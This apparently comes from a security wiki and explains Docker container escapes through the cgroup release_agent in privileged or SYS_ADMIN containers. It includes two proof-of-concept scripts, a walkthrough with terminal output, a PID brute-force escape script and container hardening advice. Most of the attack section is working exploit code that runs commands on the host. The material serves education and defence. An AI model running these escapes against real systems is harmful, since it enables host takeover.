18 KiB
Escaping from a Docker container
--privileged flag
{% code title="Initial PoC" %}
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o;
echo $t/c >$d/release_agent;
echo "#!/bin/sh $1 >$t/o" >/c;
chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
{% endcode %}
{% code title="Second PoC" %}
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output
{% endcode %}
The --privileged flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities.
In fact, --privileged provides far more permissions than needed to escape a docker container via this method. In reality, the “only” requirements are:
- We must be running as root inside the container
- The container must be run with the
SYS_ADMINLinux capability - The container must lack an AppArmor profile, or otherwise allow the
mountsyscall - The cgroup v1 virtual filesystem must be mounted read-write inside the container
The SYS_ADMIN capability allows a container to perform the mount syscall see [man 7 capabilities](https://linux.die.net/man/7/capabilities). Docker starts containers with a restricted set of capabilities by default and does not enable the SYS_ADMIN capability due to the security risks of doing so.
Further, Docker starts containers with the docker-default AppArmor policy by default, which prevents the use of the mount syscall even when the container is run with SYS_ADMIN.
A container would be vulnerable to this technique if run with the flags: --security-opt apparmor=unconfined --cap-add=SYS_ADMIN
Breaking down the proof of concept
Now that we understand the requirements to use this technique and have refined the proof of concept exploit, let’s walk through it line-by-line to demonstrate how it works.
To trigger this exploit we need a cgroup where we can create a release_agent file and trigger release_agent invocation by killing all processes in the cgroup. The easiest way to accomplish that is to mount a cgroup controller and create a child cgroup.
To do that, we create a /tmp/cgrp directory, mount the RDMA cgroup controller and create a child cgroup named “x” for the purposes of this example. While every cgroup controller has not been tested, this technique should work with the majority of cgroup controllers.
If you’re following along and get “mount: /tmp/cgrp: special device cgroup does not exist”, it’s because your setup doesn’t have the RDMA cgroup controller. Change rdma to memory to fix it. We’re using RDMA because the original PoC was only designed to work with it.
Note that cgroup controllers are global resources that can be mounted multiple times with different permissions and the changes rendered in one mount will apply to another.
We can see the “x” child cgroup creation and its directory listing below.
root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
Next, we enable cgroup notifications on release of the “x” cgroup by writing a 1 to its notify_on_release file. We also set the RDMA cgroup release agent to execute a /cmd script — which we will later create in the container — by writing the /cmd script path on the host to the release_agent file. To do it, we’ll grab the container’s path on the host from the /etc/mtab file.
The files we add or modify in the container are present on the host, and it is possible to modify them from both worlds: the path in the container and their path on the host.
Those operations can be seen below:
root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
Note the path to the /cmd script, which we are going to create on the host:
root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd
Now, we create the /cmd script such that it will execute the ps aux command and save its output into /output on the container by specifying the full path of the output file on the host. At the end, we also print the /cmd script to see its contents:
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output
Finally, we can execute the attack by spawning a process that immediately ends inside the “x” child cgroup. By creating a /bin/sh process and writing its PID to the cgroup.procs file in “x” child cgroup directory, the script on the host will execute after /bin/sh exits. The output of ps aux performed on the host is then saved to the /output file inside the container:
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.1 1.0 17564 10288 ? Ss 13:57 0:01 /sbin/init
root 2 0.0 0.0 0 0 ? S 13:57 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_par_gp]
root 6 0.0 0.0 0 0 ? I< 13:57 0:00 [kworker/0:0H-kblockd]
root 8 0.0 0.0 0 0 ? I< 13:57 0:00 [mm_percpu_wq]
root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0]
root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched]
root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0]
--privileged flag v2
The previous PoCs work fine when the container is configured with a storage-driver which exposes the full host path of the mount point, for example overlayfs, however I recently came across a couple of configurations which did not obviously disclose the host file system mount point.
Kata Containers
root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
Kata Containers by default mounts the root fs of a container over 9pfs. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine.
* More on Kata Containers in a future blog post.
Device Mapper
root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
I saw a container with this root mount in a live environment, I believe the container was running with a specific devicemapper storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment.
An Alternative PoC
Obviously in these cases there is not enough information to identify the path of container files on the host file system, so Felix’s PoC cannot be used as is. However, we can still execute this attack with a little ingenuity.
The one key piece of information required is the full path, relative to the container host, of a file to execute within the container. Without being able to discern this from mount points within the container we have to look elsewhere.
Proc to the Rescue
The Linux /proc pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the /proc directory of the process on the host:Container
root@container:~$ sleep 100
root@host:~$ ps -eaf | grep sleep
root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x 9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov 9 15:41 ..
dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr
-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup
-r-------- 1 root root 0 Nov 19 10:04 auxv
-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup
--w------- 1 root root 0 Nov 19 10:04 clear_refs
-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline
...
-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
...
As an aside, the /proc/<pid>/root data structure is one that confused me for a very long time, I could never understand why having a symbolic link to / was useful, until I read the actual definition in the man pages:
/proc/[pid]/root
UNIX and Linux support the idea of a per-process root of the filesystem, set by the chroot(2) system call. This file is a symbolic link that points to the process’s root directory, and behaves in the same way as exe, and fd/*.
Note however that this file is not merely a symbolic link. It provides the same view of the filesystem
including namespaces and the set of per-process mountsas the process itself.
The /proc/<pid>/root symbolic link can be used as a host relative path to any file within a container:Container
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
root@host:~$ cat /proc/`pidof sleep`/root/findme
findme
This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of any process running in the container.
Pid Bashing
This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The init process is assigned process id 1 and all subsequent processes are assigned incremental ids. To identify the host process id of a process within a container, a brute force incremental search can be used:Container
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
Host
root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
7822
root@host:~$ cat /proc/${COUNTER}/root/findme
findme
Putting it All Together
To complete this attack the brute force technique can be used to guess the pid for the path /proc/<pid>/root/payload.sh, with each iteration writing the guessed pid path to the cgroups release_agent file, triggering the release_agent, and seeing if an output file is created.
The only caveat with this technique is it is in no way shape or form subtle, and can increase the pid count very high. As no long running processes are kept running this should not cause reliability issues, but don’t quote me on that.
The below PoC implements these techniques to provide a more generic attack than first presented in Felix’s original PoC for escaping a privileged container using the cgroups release_agent functionality:
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Executing the PoC within a privileged container should provide output similar to:
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200
Done! Output:
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 11:25 ? 00:00:01 /sbin/init
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
Use containers securely
Docker restricts and limits containers by default. Loosening these restrictions may create security issues, even without the full power of the --privileged flag. It is important to acknowledge the impact of each additional permission, and limit permissions overall to the minimum necessary.
To help keep containers secure:
- Do not use the
--privilegedflag or mount a Docker socket inside the container. The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the--privilegedflag. - Do not run as root inside the container. Use a different user or user namespaces. The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups.
- Drop all capabilities
`--cap-drop=all`and enable only those that are required`--cap-add=...`. Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack. - Use the “no-new-privileges” security option to prevent processes from gaining more privileges, for example through suid binaries.
- Limit resources available to the container. Resource limits can protect the machine from denial of service attacks.
- Adjust seccomp, AppArmor
or SELinuxprofiles to restrict the actions and syscalls available for the container to the minimum required. - Use official docker images or build your own based on them. Don’t inherit or use backdoored images.
- Regularly rebuild your images to apply security patches. This goes without saying.